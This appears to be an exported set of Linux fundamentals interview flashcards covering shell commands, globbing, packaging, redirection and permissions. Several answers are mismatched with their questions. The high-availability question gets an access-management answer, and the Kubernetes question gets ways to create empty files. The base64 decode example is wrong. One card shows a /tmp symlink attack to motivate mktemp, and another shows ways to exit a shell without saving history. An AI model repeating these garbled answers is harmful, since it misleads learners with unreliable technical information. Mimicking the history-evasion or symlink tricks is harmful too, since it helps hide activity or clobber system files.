A: <html><code>tail</code></html>. By default shows last 10 lines. <html><code>tail -f</code></html> follows the file in real-time (great for watching logs). <html><code>tail -n 50</code></html> shows last 50 lines.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does tail -f do?]]
* [[How to follow file's content as it being appended without opening the file every time?]]
* [[How to count the number of lines in a file? What about words?]]
Q: How would you check what is the size of a certain directory?
A: <html><code>du -sh <dir></code></html> — <html><code>-s</code></html> summarizes (total only), <html><code>-h</code></html> makes it human-readable. Without <html><code>-s</code></html>, it lists every subdirectory. <html><code>du -sh *</code></html> shows sizes of all items in current dir.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Check disk/filesystem usage with df and du]]
* [[You have to find all files larger than 20MB. How you do it?]]
* [[How do you find which directories are consuming the most disk space?]]
Q: How to follow file's content as it being appended without opening the file every time?
A: tail -f <file_name>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you view the last 10 lines of a file?]]
* [[How could you modify a text file without invoking a text editor?]]
* [[What ways are there for creating a new empty file?]]
Q: How to look for a package that provides the command /usr/bin/git? (the package isn't necessarily installed)
A: <html><code>dnf provides /usr/bin/git</code></html> (RHEL/Fedora) or <html><code>apt-file search /usr/bin/git</code></html> (Debian/Ubuntu) finds which package provides a specific file, even if the package is not installed. On RHEL: install <html><code>yum-utils</code></html> for <html><code>repoquery --whatprovides</code></html>. This is essential when you encounter a 'command not found' error and need to install the right package.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Find which package owns a file on Linux]]
* [[How do you list all installed packages on RHEL/Fedora?]]
Q: Do you have experience with packaging (building packages)?
A: Building packages varies by distribution:
RPM (RHEL, Fedora, CentOS):
* rpmbuild with .spec file
* Defines build steps, dependencies, files
* Result: .rpm package
DEB (Debian, Ubuntu):
* dpkg-buildpackage
* debian/ directory with control files
* Result: .deb package
Steps typically include:
# Prepare source
# Configure build
# Compile
# Install to staging directory
# Package with metadata
Tools:
* Mock/Koji: RPM build environments
* pbuilder/sbuild: DEB build environments
* fpm: Cross-format packaging
* checkinstall: Quick packaging from make install
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[RPM: Explain the .spec format. What should and can it contain?]]
* [[How do you rebuild an RPM package?]]
* [[Linux package management: RPM and DEB ecosystems]]
Q: Many basic maintenance tasks require you to edit config files. Explain ways to undo the changes you make.
A: - manually backup of a file before editing (with brace expansion like this: <html><code>cp filename{,.orig}</code></html>)
* manual copy of the directory structure where file is stored (e.g. <html><code>cp</code></html>, <html><code>rsync</code></html> or <html><code>tar</code></html>)
* make a backup of original file in your editor (e.g. set rules in your editor configuration file)
* the best solution is to use <html><code>git</code></html> (or any other version control) to keep track of configuration files (e.g. <html><code>etckeeper</code></html> for <html><code>/etc</code></html> directory)
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[In-place config edits without backup cause irrecoverable loss]]
* [[Recovery procedure after self-inflicted breakage on unfamiliar systems]]
Q: How to check if running as root in a bash script? What should you watch out for?
A: In a bash script, you have several ways to check if the running user is root.
As a warning, do not check if a user is root by using the root username. Nothing guarantees that the user with ID 0 is called root. It's a very strong convention that is broadly followed but anybody could rename the superuser another name.
I think the best way when using bash is to use <html><code>$EUID</code></html> because <html><code>$UID</code></html> could be changed and not reflect the real user running the script.
<html><pre><code class="language-bash">if (( $EUID != 0 )); then
echo "Please run as root"
exit
fi</code></pre></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Kernel checks UID 0 for root, not the account name]]
* [[What UID is reserved for root?]]
* [[True or False? It's not possible to have a root user with ID 0 in child user namespaces]]
Q: Is there an easy way to search inside 1000s of files in a complex directory structure to find files which contain a specific string?
A: For example use <html><code>fgrep</code></html>:
<html><pre><code class="language-bash">fgrep * -R "string"</code></pre></html>
or:
<html><pre><code class="language-bash">grep -insr "pattern" *</code></pre></html>
* <html><code>-i</code></html> ignore case distinctions in both the ''PATTERN'' and the input files
* <html><code>-n</code></html> prefix each line of output with the 1-based line number within its input file
* <html><code>-s</code></html> suppress error messages about nonexistent or unreadable files.
* <html><code>-r</code></html> read all files under each directory, recursively.
Remember: which=PATH, whereis=binary+man+src, type=alias/builtin/file. type is best.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you search for a specific string within a file?]]
* [[How do you find a text string in files on Linux?]]
* [[How do I grep recursively?]]
Q: What is an incremental backup?
A: An incremental backup is a type of backup that only copies files that have changed since the previous backup.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does the following block do?:]]
Q: How do you create a shortcut for a complex command in Bash?
A: Add an alias to <html><code>~/.bashrc</code></html> (or <html><code>~/.zshrc</code></html> for zsh).
Example: <html><code>alias k='kubectl'</code></html> or <html><code>alias ll='ls -la'</code></html>. Run <html><code>source ~/.bashrc</code></html> to activate immediately without restarting the shell. Use <html><code>alias</code></html> with no arguments to list all current aliases.
Gotcha: aliases defined in the shell are lost when the session ends unless saved to the rc file.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the `alias` command?]]
* [[What exactly does the command alias x=y do?]]
* [[What is the .bashrc file?]]
Q: How do you run command every time a file is modified?
A: For example:
<html><pre><code class="language-bash">while inotifywait -e close_write filename ; do
echo "changed" >> /var/log/changed
done</code></pre></html>
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is `inotifywait`?]]
* [[How to follow file's content as it being appended without opening the file every time?]]
* [[How to find files that have been modified on your system in the past 60 minutes?]]
Q: What is shell globbing and how does pattern matching work?
A: Filename pattern matching by the shell before command execution.
Patterns:
* * - Any characters (except leading dot)
* ? - Exactly one character
* [abc] - Any of a, b, c
* [a-z] - Range
* [!abc] - NOT listed
Examples:
* ls *.txt - All .txt files
* rm test[0-9].txt - test0.txt through test9.txt
Shell expands globs BEFORE passing to command.
Remember: *=any, ?=one char, [abc]=one of, {a,b}=expansion. Globs ≠ regex.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What are wildcards? Can you give an example of how to use them?]]
* [[[[Explain what will ls [XYZ] match]]]]
* [[What happens when you execute ls -l *.log?]]
Q: Explain what will ls [0-5] match
A: ls [0-5] matches files whose name is exactly ONE character in the range 0-5.
It will match files named:
* "0", "1", "2", "3", "4", "5"
It will NOT match:
* "6", "7", "8", "9" (outside range)
* "01" (two characters)
* "file1" (multiple characters)
The [0-5] is a character class range - matches one digit from 0 to 5.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[[[Explain what will ls [XYZ] match]]]]
* [[What each of the following matches]]
* [[What does the following block do?:]]
Q: What is the # sign in a shell prompt usually indicative of?
A: The <html><code>#</code></html> prompt indicates a superuser (root) session, while <html><code>$</code></html> indicates a regular user session. This convention is defined in the PS1 shell variable and is nearly universal across Linux distributions.
Gotcha: running as root is dangerous — prefer <html><code>sudo</code></html> for individual commands to maintain an audit trail and limit exposure.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does "sudo" stand for?]]
* [[What is the SHELL variable?]]
* [[What does `$0` contain?]]
Q: What is the purpose of the shebang (#!) at the start of a script?
A: It specifies the interpreter for the script (e.g., #!/bin/bash tells the OS to run the script with the Bash shell).
Remember: c=create, x=extract, t=list, v=verbose, f=file, z=gzip. "eXtract Ze File" = xzf.
Example: Create: <html><code>tar czf arch.tar.gz dir/</code></html> Extract: <html><code>tar xzf arch.tar.gz</code></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the preferred bash shebang and why? What is the difference between executing a …]]
* [[What does `$#` contain?]]
* [[What does `${var#pattern}` do?]]
Q: How do you list all files, including hidden ones?
A: <html><code>ls -a</code></html>. The <html><code>-a</code></html> flag includes entries starting with <html><code>.</code></html> (dotfiles). <html><code>ls -la</code></html> combines long format with hidden files for the most complete listing.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[List three ways to print all the files in the current directory]]
* [[What are hidden files/directories? How to list them?]]
* [[ls command: list directory contents]]
Q: What is stored in each of the following paths?
A: * binaries
* configuration files
* home directories of the different users
* files that tend to change and be modified like logs
* temporary files
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What each of the following commands does?]]
* [[What are the "dotfiles"?]]
* [[What is the PATH variable?]]
Q: What are wildcards? Can you give an example of how to use them?
A: Wildcards are special characters for pattern matching in filenames.
Common wildcards:
* * - Matches zero or more characters
* ? - Matches exactly one character
* [...] - Matches any character in brackets
* [!...] - Matches any character NOT in brackets
Examples:
* ls *.log - All files ending in .log
* rm file?.txt - file1.txt, file2.txt, etc.
* cp [A-Z]*.pdf backup/ - PDFs starting with uppercase
* mv *[0-9].bak archive/ - Files ending with digit.bak
Wildcards are expanded by shell before command execution.
Remember: *=any, ?=one char, [abc]=one of, {a,b}=expansion. Globs ≠ regex.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is shell globbing and how does pattern matching work?]]
* [[Are wildcards implemented in user or kernel space?]]
* [[What happens when you execute ls -l *.log?]]
Q: You run ls and you get "/lib/ld-linux-armhf.so.3 no such file or directory". What is the problem?
A: The ls executable is built for an incompatible architecture.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is `ldd`?]]
* [[The program returns the error of the missing library. How to provide dynamically linkab…]]
* [[You try to create a file but it fails. Name at least three different reason as to why i…]]
Q: What is the easiest, safest and most portable way to remove <html><code>-rf</code></html> directory entry?
A: They're effective but not optimally portable:
* <html><code>rm -- -fr</code></html>
* <html><code>perl -le 'unlink("-fr");'</code></html>
People who go on about shell command line quoting and character escaping are almost as dangerous as those who simply don't even recognize why a file name like that poses any problem at all.
The most portable solution:
<html><pre><code class="language-bash">rm ./-fr</code></pre></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[`rm` vs `rm -rf`: behavior and dangers]]
* [[Unset shell variables in destructive commands expand to dangerous paths]]
* [[Specify which command would you use (and how) for each of the following scenarios]]
Q: How to remove all files except some from a directory?
A: Solution 1 - with <html><code>extglob</code></html>:
<html><pre><code class="language-bash">shopt -s extglob
rm !(textfile.txt|backup.tar.gz|script.php|database.sql|info.txt)</code></pre></html>
Solution 2 - with <html><code>find</code></html>:
<html><pre><code class="language-bash">find . -type f -not -name '*txt' -print0 | xargs -0 rm --</code></pre></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the easiest, safest and most portable way to remove `-rf` directory entry?]]
* [[List three ways to print all the files in the current directory]]
* [[`rm` vs `rm -rf`: behavior and dangers]]
Q: What is the difference between these two commands? Will it result in the same output?
A: The echo command receives two separate arguments in the first execution and in the second execution it gets one argument which is the string "hello world". The output will be the same.
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Why are there different sections in man? What is the difference?]]
* [[What is the difference between single and double quotes?]]
* [[Explain what each of the following commands does:]]
Q: How do you list the content of a package without actually installing it?
A: Depends on package format:
RPM:
* rpm -qlp package.rpm - List files in .rpm
* rpm -ql package-name - List files of installed package
* repoquery -l package - Query from repo
DEB:
* dpkg -c package.deb - List files in .deb
* dpkg -L package-name - List installed package files
* apt-file list package - From repo
Other info:
* rpm -qip package.rpm - Package info
* dpkg -I package.deb - Package info
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Linux package management: RPM and DEB ecosystems]]
* [[How do you list all installed packages on Debian/Ubuntu?]]
* [[Find which package owns a file on Linux]]
To determine which installed package owns a given file, query the package database directly.
''RPM-based (RHEL, Fedora, CentOS):''
* <html><code>rpm -qf /path/to/file</code></html> — query installed package database
* <html><code>dnf provides /path/to/file</code></html> (or <html><code>yum provides</code></html>) — also searches uninstalled packages
* Example: <html><code>rpm -qf /bin/ls</code></html> → <html><code>coreutils</code></html>
''DEB-based (Debian, Ubuntu):''
* <html><code>dpkg -S /path/to/file</code></html> — query installed package database
* <html><code>apt-file search /path/to/file</code></html> — also searches uninstalled packages (requires <html><code>apt-file</code></html> package)
* Example: <html><code>dpkg -S /bin/ls</code></html> → <html><code>coreutils</code></html>
''If the file is not owned by any package:''
The commands return a "not owned by any package" message. The file was likely created manually, placed by a script, or installed from source.
''Related file-location commands (distinct from package queries):''
* <html><code>which</code></html> — searches <html><code>$PATH</code></html> for executables
* <html><code>whereis</code></html> — locates binary, man page, and source
* <html><code>type</code></html> — reveals whether a name is an alias, shell builtin, or external file; generally the most informative for interactive use
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Linux package management: RPM and DEB ecosystems]]
* [[How do you list the content of a package without actually installing it?]]
* [[How do you find which package provides a file on Debian?]]
Q: What is the difference between single and double quotes?
A: In bash, quotes affect variable and special character handling:
Single quotes ('...'):
* Everything is literal
* No variable expansion
* No special character interpretation
* echo '$HOME' prints: $HOME
Double quotes ("..."):
* Variables are expanded
* Command substitution works
* Special chars \, $, `, ! interpreted
* echo "$HOME" prints: /home/user
Backticks/$(...)
* Command substitution
* Output replaces the expression
Example:
* name="world"
* echo 'Hello $name' → Hello $name
* echo "Hello $name" → Hello world
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the difference between these two commands? Will it result in the same output?]]
* [[What is escaping? What escape character is used for?]]
* [[What is the difference between `$@` and `$*`?]]
Q: How to make high availability of web application?
A: Key requirements for managing user access at scale:
# ''Authentication'': Centralized identity (LDAP/AD/SSO). MFA for privileged access
# ''Authorization'': Role-based access control (RBAC). Principle of least privilege
# ''Auditing'': Log all access and changes. Regular access reviews
# ''Provisioning'': Automated onboarding/offboarding tied to HR systems
# ''Password policy'': Minimum complexity, rotation, no shared accounts
# ''Privileged access'': Separate admin accounts, just-in-time access, session recording
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Standardized user onboarding with scripted account creation and setup]]
Q: What do the fields in <html><code>ls -al</code></html> output mean?
A: In the order of output:
<html><pre><code class="language-bash">-rwxrw-r-- 1 root root 2048 Jan 13 07:11 db.dump</code></pre></html>
* file permissions,
* number of links,
* owner name,
* owner group,
* file size,
* time of last modification,
* file/directory name
File permissions is displayed as following:
* first character is <html><code>-</code></html> or <html><code>l</code></html> or <html><code>d</code></html>, <html><code>d</code></html> indicates a directory, a <html><code>-</code></html> represents a file, <html><code>l</code></html> is a symlink (or soft link) - special type of file
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[GNU ls accepts 60+ options, most users know only five]]
* [[ls command: list directory contents]]
* [[[[Explain what will ls [XYZ] match]]]]
Q: How is a user’s default group determined? How would you change it?
A: <html><pre><code class="language-bash">useradd -m -g initial_group username</code></pre></html>
<html><code>-g/--gid</code></html>: defines the group name or number of the user's initial login group. If specified, the group name must exist; if a group number is provided, it must refer to an already existing group.
If not specified, the behaviour of useradd will depend on the <html><code>USERGROUPS_ENAB</code></html> variable contained in <html><code>/etc/login.defs</code></html>. The default behaviour (<html><code>USERGROUPS_ENAB yes</code></html>) is to create a group with the same name as the username, with ''GID'' equal to ''UID''.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the format of /etc/group?]]
* [[What command shows your current UID and group memberships?]]
* [[Explain what each of the following commands does:]]
Q: Why do we need <html><code>mktemp</code></html> command? Present an example of use.
A: <html><code>mktemp</code></html> randomizes the name. It is very important from the security point of view.
Just imagine that you do something like:
<html><pre><code class="language-bash">echo "random_string" > /tmp/temp-file</code></pre></html>
in your root-running script. And someone (who has read your script) does
<html><pre><code class="language-bash">ln -s /etc/passwd /tmp/temp-file</code></pre></html>
The <html><code>mktemp</code></html> command could help you in this situation:
<html><pre><code class="language-bash">TEMP=$(mktemp /tmp/temp-file.XXXXXXXX)
echo "random_string" > ${TEMP}</code></pre></html>
Now this <html><code>ln /etc/passwd</code></html> attack will not work.
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is `mktemp`?]]
* [[How to generate a random string of 7 characters?]]
Q: What is the result of running the following command? yippiekaiyay 1>&2 die_hard
A: An output similar to: <html><code>yippikaiyay: command not found...</code></html>
The file <html><code>die_hard</code></html> will not be created
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the difference between these two commands? Will it result in the same output?]]
* [[What does the man command provide?]]
* [[Explain what each of the following commands does:]]
Q: A project manager needs a new SQL Server. What do you ask her/his?
A: I want the DBA to ask questions like:
* How big will the database be? (whether we can add the database to an existing server)
* How critical is the database? (about clustering, disaster recovery, high availability)
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
Q: Explain what will ls [XYZ] match
A: ls [XYZ] matches files whose name is exactly ONE character that is either X, Y, or Z.
It will match:
* A file named "X"
* A file named "Y"
* A file named "Z"
It will NOT match:
* "XYZ" (three characters)
* "xy" (lowercase)
* "X1" (two characters)
The brackets define a character class - one character from the set.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[[[Explain what will ls [0-5] match]]]]
* [[What each of the following matches]]
* [[What is shell globbing and how does pattern matching work?]]
Q: How to exit without saving shell history?
A: <html><code>kill -9 $$</code></html> kills the current shell process immediately (SIGKILL), preventing history from being saved. Alternatively: <html><code>unset HISTFILE && exit</code></html> clears the history file variable before exiting gracefully. Also: <html><code>history -c && history -w && exit</code></html> clears the in-memory history and writes an empty file.
Gotcha: <html><code>kill -9 $$</code></html> may leave child processes orphaned.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you ensure a process survives terminal logout?]]
* [[Present and explain the good ways of using the `kill` command.]]
* [[What if `kill -9` does not work? Describe exceptions for which the use of SIGKILL is in…]]
Q: How do you create a new resource in Kubernetes?
A: * touch new_file.txt
* cat > new_file [enter] submit text; ctrl + d to exit insert mode
* truncate -s <size> new_file.txt
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What ways are there for creating a new empty file?]]
* [[How could you modify a text file without invoking a text editor?]]
* [[How to create a file of a certain size?]]
Q: RPM: Explain the .spec format. What should and can it contain?
A: The .spec file defines how to build an RPM package.
Main sections:
* Name, Version, Release: Package identity
* Summary, License, URL: Metadata
* Source0: Source tarball location
* BuildRequires: Build dependencies
* Requires: Runtime dependencies
Build sections:
* %prep: Unpack and patch source
* %build: Configure and compile
* %install: Install to buildroot
* %files: List packaged files
* %changelog: Version history
Example:
Name: myapp
Version: 1.0
Release: 1%{?dist}
%build
./configure && make
%install
make install DESTDIR=%{buildroot}
%files
/usr/bin/myapp
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Do you have experience with packaging (building packages)?]]
* [[How do you rebuild an RPM package?]]
Q: Demonstrate Linux stderr to stdout redirection
A: <html><code>yippiekaiyay &> file</code></html> redirects both stdout and stderr to the same file. Equivalent long form: <html><code>yippiekaiyay > file 2>&1</code></html>. Key operators: <html><code>></code></html> stdout, <html><code>2></code></html> stderr, <html><code>&></code></html> both, <html><code>>></code></html> append.
Gotcha: order matters with the long form — <html><code>2>&1 > file</code></html> does NOT capture stderr to the file because redirection is processed left to right.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How to redirect stderr and stdout to different files in the same line?]]
* [[What does `2>&1` do?]]
* [[Demonstrate Linux output redirection]]
Q: How can you check what is the path of a certain command?
A: <html><code>which <command></code></html> searches PATH for the executable. <html><code>whereis <command></code></html> finds the binary, source, and man page locations. <html><code>type <command></code></html> is the most informative — it shows whether a command is an alias, shell builtin, function, or file.
Example: <html><code>type ls</code></html> might show it is aliased to <html><code>ls --color=auto</code></html>. Use <html><code>type</code></html> as your default lookup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the PATH variable?]]
* [[What does `which` do?]]
* [[What does `type` do in Bash?]]
Q: What is the .bashrc file?
A: A script executed when a new interactive shell starts.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does cd ~ accomplish?]]
* [[What ways are there for creating a new empty file?]]
Q: What is a Linux "package manager"?
A: It's a tool to install, update, and manage software packages (examples: apt on Debian/Ubuntu, yum or dnf on Red Hat/Fedora).
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Why do we need package managers? Why not simply creating archives and publish them?]]
Q: List three ways to print all the files in the current directory
A: * ls
* find .
// echo //
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you list all files, including hidden ones?]]
* [[How to remove all files except some from a directory?]]
* [[How would you check what is the size of a certain directory?]]
Q: What types of web servers are you familiar with?
A: Common web servers: Nginx (event-driven, excels at reverse proxy and static content) and Apache httpd (process/thread-based, highly extensible with modules). Others: Caddy (automatic HTTPS), Lighttpd (lightweight), and Traefik (cloud-native reverse proxy with auto-discovery). Nginx is the most popular for modern deployments due to lower memory footprint and built-in load balancing.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
Q: What each of the following commands does?
A: * cd / -> change to the root directory
* cd ~ -> change to your home directory
* cd -> change to your home directory
* cd .. -> change to the directory above your current i.e parent directory
* cd . -> change to the directory you currently in
* cd - -> change to the last visited path
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does cd ~ accomplish?]]
* [[How `cd -` works? How does it knows the previous location?]]
* [[How do you move up one directory level?]]
Q: How do you search for a specific string within a file?
A: <html><code>grep</code></html>. Examples: <html><code>grep -r 'error' /var/log/</code></html> recursive search, <html><code>grep -i</code></html> case-insensitive, <html><code>grep -c</code></html> count matches, <html><code>grep -n</code></html> show line numbers. Supports regex with <html><code>-E</code></html>.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do I grep recursively?]]
* [[Is there an easy way to search inside 1000s of files in a complex directory structure t…]]
* [[What is `grep` command? How to match multiple strings in the same line?]]
Q: Demonstrate one way to encode and decode data in Linux
A: Encode: <html><code>echo -n "some password" | base64</code></html>
Decode: <html><code>echo -n "allE19remO91" | base64</code></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How to generate a random string of 7 characters?]]
* [[What each of the following matches]]
Q: How to redirect stderr and stdout to different files in the same line?
A: Just add them in one line <html><code>command 2>> error 1>> output</code></html>.
However, note that <html><code>>></code></html> is for appending if the file already has data. Whereas, <html><code>></code></html> will overwrite any existing data in the file.
So, <html><code>command 2> error 1> output</code></html> if you do not want to append.
Just for completion's sake, you can write <html><code>1></code></html> as just <html><code>></code></html> since the default file descriptor is the output. so <html><code>1></code></html> and <html><code>></code></html> is the same thing.
So, <html><code>command 2> error 1> output</code></html> becomes, <html><code>command 2> error > output</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Demonstrate Linux stderr to stdout redirection]]
* [[What does `2>&1` do?]]
* [[Demonstrate Linux stderr output redirection]]
Q: Execute combine multiple shell commands in one line.
A: If you want to execute each command only if the previous one succeeded, then combine them using the <html><code>&&</code></html> operator:
<html><pre><code class="language-bash">cd /my_folder && rm *.jar && svn co path to repo && mvn compile package install</code></pre></html>
If one of the commands fails, then all other commands following it won't be executed.
If you want to execute all commands regardless of whether the previous ones failed or not, separate them with semicolons:
<html><pre><code class="language-bash">cd /my_folder; rm *.jar; svn co path to repo; mvn compile package install</code></pre></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How can I sync two local directories?]]
* [[How do you move up one directory level?]]
* [[How do you create a shortcut for a complex command in Bash?]]
Q: What do > and < do in terms of input and output for programs?
A: They take in input (<) and output for a given file (>) using stdin and stdout.
<html><code>myProgram < input.txt > executionOutput.txt</code></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
